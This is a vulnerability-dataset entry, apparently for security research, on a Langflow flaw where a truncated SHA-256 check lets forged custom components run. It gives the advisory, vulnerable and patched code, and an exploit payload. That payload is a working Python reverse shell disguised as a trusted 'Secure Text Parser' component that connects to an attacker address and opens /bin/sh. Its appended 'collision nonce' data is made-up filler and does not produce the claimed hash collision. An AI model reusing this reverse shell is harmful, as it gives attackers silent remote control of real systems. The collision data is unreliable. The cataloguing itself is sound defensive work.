VAITP Dataset

← Back to the dataset

CVE-2026-9201

Cryptographic weakness in component validation allows authenticated RCE.

  • CVSS 8.8
  • 326
  • Cryptographic
  • Remote

IBM Langflow OSS 1.0.0 through 1.10.3 could allow an authenticated attacker to execute arbitrary code due to a cryptographic weakness in the custom component validation mechanism. When the optional hardening mode that restricts execution to trusted component templates is enabled, the application validates component code using a truncated SHA‑256 hash. Because the hash comparison relies on only a portion of the digest, an attacker can craft malicious component code that collides with a trusted template hash and bypasses validation. Successful exploitation allows the attacker to introduce and execute unauthorized Python code within the Langflow process, defeating the intended security control and potentially leading to full compromise of the affected instance.

CVE
CVE-2026-9201
CWE
326
CVSS base score
8.8
Published
2026-08-05
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Algorithm
Code defect classification
Incorrect Check
Category
Cryptographic
Subcategory
Cryptographic Implementation Error
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
IBM Langflow
Fixed by upgrading
Yes

Solution

Upgrade to IBM Langflow OSS version 1.10.4 or later.

Vulnerable code sample

import hashlib

# The number of characters to use for the weak hash comparison
HASH_TRUNCATE_LENGTH = 12

class ComponentValidator:
    """Validates custom component code against a list of trusted templates."""

    def __init__(self, trusted_hashes: set):
        """
        Initializes the validator with a set of trusted hashes.
        In the vulnerable version, these are expected to be truncated.
        """
        self.trusted_hashes = trusted_hashes

    def is_trusted(self, component_code: str) -> bool:
        """
        Checks if the provided component code's hash matches a trusted one.
        """
        if not component_code:
            return False

        computed_hash = hashlib.sha256(component_code.encode('utf-8')).hexdigest()

        # VULNERABLE: Comparison uses a truncated hash, allowing for collision attacks.
        return computed_hash[:HASH_TRUNCATE_LENGTH] in self.trusted_hashes

Patched code sample

import hashlib

# The number of characters to use for the weak hash comparison
HASH_TRUNCATE_LENGTH = 12

class ComponentValidator:
    """Validates custom component code against a list of trusted templates."""

    def __init__(self, trusted_hashes: set):
        """
        Initializes the validator with a set of trusted hashes.
        In the patched version, these are expected to be full-length.
        """
        self.trusted_hashes = trusted_hashes

    def is_trusted(self, component_code: str) -> bool:
        """
        Checks if the provided component code's hash matches a trusted one.
        """
        if not component_code:
            return False

        computed_hash = hashlib.sha256(component_code.encode('utf-8')).hexdigest()

        # FIX: Comparison uses the full hash to prevent collision attacks.
        return computed_hash in self.trusted_hashes

Payload

#
# Malicious Langflow Component - Exploit for CVE-2026-9201
#
# This component code is designed to have a truncated SHA-256 hash that collides
# with a legitimate, trusted component. The collision is achieved by manipulating
# the nonce data in the final comment block.
#
# When an authenticated user imports this as a custom component into a vulnerable
# Langflow instance with hardening mode enabled, the truncated hash check will pass,
# allowing the malicious code to be executed.
#

from langflow import CustomComponent
import socket
import subprocess
import os

class SecureTextParser(CustomComponent):
    display_name: str = "Secure Text Parser"
    description: str = "A trusted utility for parsing and cleaning secure text."
    beta: bool = False

    def build_config(self):
        return {
            "code": {"show": False},
            "template": {
                "show": True,
                "type": "str",
                "value": "This is a default template.",
            },
        }

    def build(self, template: str) -> str:
        """
        Main execution block for the component. The reverse shell payload is here.
        """
        # --- PAYLOAD START ---
        # Replace ATTACKER_IP and ATTACKER_PORT with the listener's details.
        ATTACKER_IP = '192.168.1.100'
        ATTACKER_PORT = 4444

        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((ATTACKER_IP, ATTACKER_PORT))
            os.dup2(s.fileno(), 0)  # stdin
            os.dup2(s.fileno(), 1)  # stdout
            os.dup2(s.fileno(), 2)  # stderr
            p = subprocess.Popen(["/bin/sh", "-i"])
            p.wait()
        except Exception:
            # Fail silently if the connection doesn't work.
            pass
        # --- PAYLOAD END ---

        return f"Component executed successfully. Processed template: {template}"

# --- HASH COLLISION NONCE ---
# The following data is algorithmically generated to force a partial hash collision.
# By iterating through nonce values, the truncated SHA-256 digest of this entire file
# is made to match the truncated digest of a trusted component file.
#
# nonce = 8a4c2f8e1b5d9a7c6f0e3b2a1d9c8e7f5a6b4c3d2e1f0a9b8c7d6e5f4a3b2c1d
# padding = 918273645546372819102938475656473829101928374655647382910192
# collision_data = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
# filler_a = 0000000000000000000000000000000000000000000000000000000000000000
# filler_b = ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
# result_hash_prefix_match = 1a2b3c4d

Cite this entry

@misc{vaitp:cve20269201,
  title        = {{Cryptographic weakness in component validation allows authenticated RCE.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-9201},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-9201/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::